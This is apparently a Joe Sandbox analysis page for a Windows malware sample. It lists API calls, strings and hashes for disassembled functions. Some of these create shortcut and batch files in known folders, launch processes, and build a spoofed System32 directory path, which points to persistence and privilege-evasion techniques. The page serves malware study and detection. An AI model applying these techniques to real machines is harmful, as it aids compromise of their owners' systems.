Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateEvent$wnsprintf$CloseDirectoryErrorFileHandleLastOpenProcess__snwprintfclosesocketsetsockoptshutdown
String ID: "%s" %s$%s%s$D${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1361240531-3092484080
Opcode ID: b09c6ff439ff58e46f127efbabe68ae304cd67426a0f84f3ac65602e00c27975
Instruction ID: e5f739e82d0d79731e7d660a87e13acd19796dfb5b813296ec4bd1e954a27d8d
Opcode Fuzzy Hash: b09c6ff439ff58e46f127efbabe68ae304cd67426a0f84f3ac65602e00c27975
Instruction Fuzzy Hash: EE516FB1904219EFEB20DFA8DC89FAD7778BB48704F1041A9F609A72D1DB705A84DF60

Function 00932920 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 118memoryprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 0092FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
Part of subcall function 0092FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
Part of subcall function 0092FE20: __snwprintf.LIBCMT ref: 0092FEDA
Part of subcall function 0092FE20: CoTaskMemFree.COMBASE(?), ref: 0092FEF5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00932952
__snwprintf.LIBCMT ref: 0093297C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0093298B
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 009329A9
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009329D4
__snwprintf.LIBCMT ref: 00932A03
_memset.LIBCMT ref: 00932A13
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00932A3E
LocalFree.KERNEL32(00000000), ref: 00932A4D
LocalFree.KERNEL32(00000000), ref: 00932A57
LocalFree.KERNEL32(00000000), ref: 00932A61
LocalFree.KERNEL32(00000000), ref: 00932A6B
LocalFree.KERNEL32(00000000), ref: 00932A7C
LocalFree.KERNEL32(00000000), ref: 00932A86
LocalFree.KERNEL32(00000000), ref: 00932A90
LocalFree.KERNEL32(00000000), ref: 00932A9A

Strings

"%s%s" %s, xrefs: 009329F5
%s%s, xrefs: 0093296E
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 009329E7
D, xrefs: 00932A1B

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$__snwprintf$CreateFileFolderKnownModuleNamePathProcessTask_memset
String ID: "%s%s" %s$%s%s$D${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1050240479-1534617329
Opcode ID: 3a1b56d2188595fc7f9bfab2d41194edd11738fad2b3aafdf887bca6c4b1792d
Instruction ID: cac2afa2aabf02e76c70bb013415bd615cc66bc6859413fe63ab6928c1b665db
Opcode Fuzzy Hash: 3a1b56d2188595fc7f9bfab2d41194edd11738fad2b3aafdf887bca6c4b1792d
Instruction Fuzzy Hash: C6419DB5A04209BBDB10DBE8DC49FBE7B79BF88704F104529F601AA2C0DB749A40DF61

Function 00933160 Relevance: 33.3, APIs: 13, Strings: 6, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00935BA8), ref: 0093317A
SHGetKnownFolderPath.SHELL32(00957BF0,00000000,00000000,?), ref: 00933196
__snwprintf.LIBCMT ref: 009331B7
CoTaskMemFree.COMBASE(?), ref: 009331CD
LocalFree.KERNEL32(00000000), ref: 009331D7
SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 009331EA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009331FF
__snwprintf.LIBCMT ref: 00933229
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933238
__snwprintf.LIBCMT ref: 00933263
LocalFree.KERNEL32(00000000), ref: 00933283
LocalFree.KERNEL32(00000000), ref: 0093328D
CoTaskMemFree.COMBASE(?), ref: 00933297

Strings

%s\%s, xrefs: 0093321B
{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}, xrefs: 00933247
%s\%s.lnk, xrefs: 009331A9
{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}, xrefs: 009331A0
{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}, xrefs: 00933212, 0093324C
%s\%s\%s.BAT, xrefs: 00933255

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc__snwprintf$FolderKnownPathTask
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT${01CD18C6-8DB4-4D19-901B-142FFEF41E7A}${A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}${CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}
API String ID: 1448958825-2404616322
Opcode ID: cec2f8ae365f39d149e625fc327c6853d6e79f87a45f606e62eef174aeeb8e72
Instruction ID: da4a9611f93220c4750889247ad524f5a7ef45d9762cb220a02ed5f55aae94e4
Opcode Fuzzy Hash: cec2f8ae365f39d149e625fc327c6853d6e79f87a45f606e62eef174aeeb8e72
Instruction Fuzzy Hash: 003180B5A84305BBDB14EBE8CC4AF7E7779AF88705F108529F601B72C0D674AA44DB60

Function 00928CD0 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00928D3E
StrStrIW.SHLWAPI(00000000,.DLL), ref: 00928D68
LocalAlloc.KERNEL32(00000040,000000FF), ref: 00928DBF

Strings

.DLL, xrefs: 00928D5F

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: .DLL
API String ID: 3494564517-899428287
Opcode ID: 5c29478bec7d8a2869a5841a5aaf41c05083182bb548ee5d30fb3ef908e124fa
Instruction ID: c8b02f4997069ba3d07d011ae403e0feef4646b9a69435a1ec55156ada8349a0
Opcode Fuzzy Hash: 5c29478bec7d8a2869a5841a5aaf41c05083182bb548ee5d30fb3ef908e124fa
Instruction Fuzzy Hash: 64C14DB0E40218EBDB14DFE8DC85BAEBB75FF88304F148519E215BB294D775A941CB60

Function 00933450 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00957C30,00000000,00000000,00000000), ref: 0093346D
_memset.LIBCMT ref: 00933492
__snwprintf.LIBCMT ref: 009334D5
CreateDirectoryW.KERNEL32(?,00000000), ref: 009334E6
GetLastError.KERNEL32 ref: 00933508
LocalAlloc.KERNEL32(00000040,00000208), ref: 00933520
__snwprintf.LIBCMT ref: 00933551
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00933575
LocalAlloc.KERNEL32(00000040,00000208), ref: 00933591
_memmove.LIBCMT ref: 009335C2
CoTaskMemFree.COMBASE(00000000), ref: 009335CE
LocalFree.KERNEL32(00000000), ref: 009335DB
RemoveDirectoryW.KERNEL32(00000000), ref: 009335F0
LocalFree.KERNEL32(00000000), ref: 009335FD
RemoveDirectoryW.KERNEL32(?), ref: 0093360A
CoTaskMemFree.COMBASE(00000000), ref: 00933614

Strings

%s\System32, xrefs: 00933540
\\?\%s , xrefs: 009334C4

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: DirectoryFreeLocal$AllocCreateRemoveTask__snwprintf$ErrorFolderKnownLastPath_memmove_memset
String ID: %s\System32$\\?\%s
API String ID: 1001877520-2868705786
Opcode ID: e55ecfcacdfa90975107e50269590a96d0da4f5b73b76225c11bd84b50a298f8
Instruction ID: e5bba526c0fbe20d3ba68e16d378d791471edbef0c1edba4d3c2b70092cd08a7
Opcode Fuzzy Hash: e55ecfcacdfa90975107e50269590a96d0da4f5b73b76225c11bd84b50a298f8
Instruction Fuzzy Hash: E4418EB4980218ABDB20DBA4DC8EFED7778AB58705F1089D9F509A7280D7749F80DF60

Function 0092BA30 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 92memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0092BA41
SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 0092BA5F
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092BA74
__snwprintf.LIBCMT ref: 0092BA9E
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0092BAC0
CloseHandle.KERNEL32(000000FF), ref: 0092BAEF
LocalFree.KERNEL32(00000000), ref: 0092BB00
CoTaskMemFree.COMBASE(?), ref: 0092BB0A
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092BB1C
SetEvent.KERNEL32(00000000), ref: 0092BB2F
CloseHandle.KERNEL32(00000000), ref: 0092BB39
CloseHandle.KERNEL32(000000FF), ref: 0092BB4B
LocalFree.KERNEL32(00000000), ref: 0092BB55
CoTaskMemFree.COMBASE(?), ref: 0092BB5F

Strings

%s\%s, xrefs: 0092BA90
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 0092BB10

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
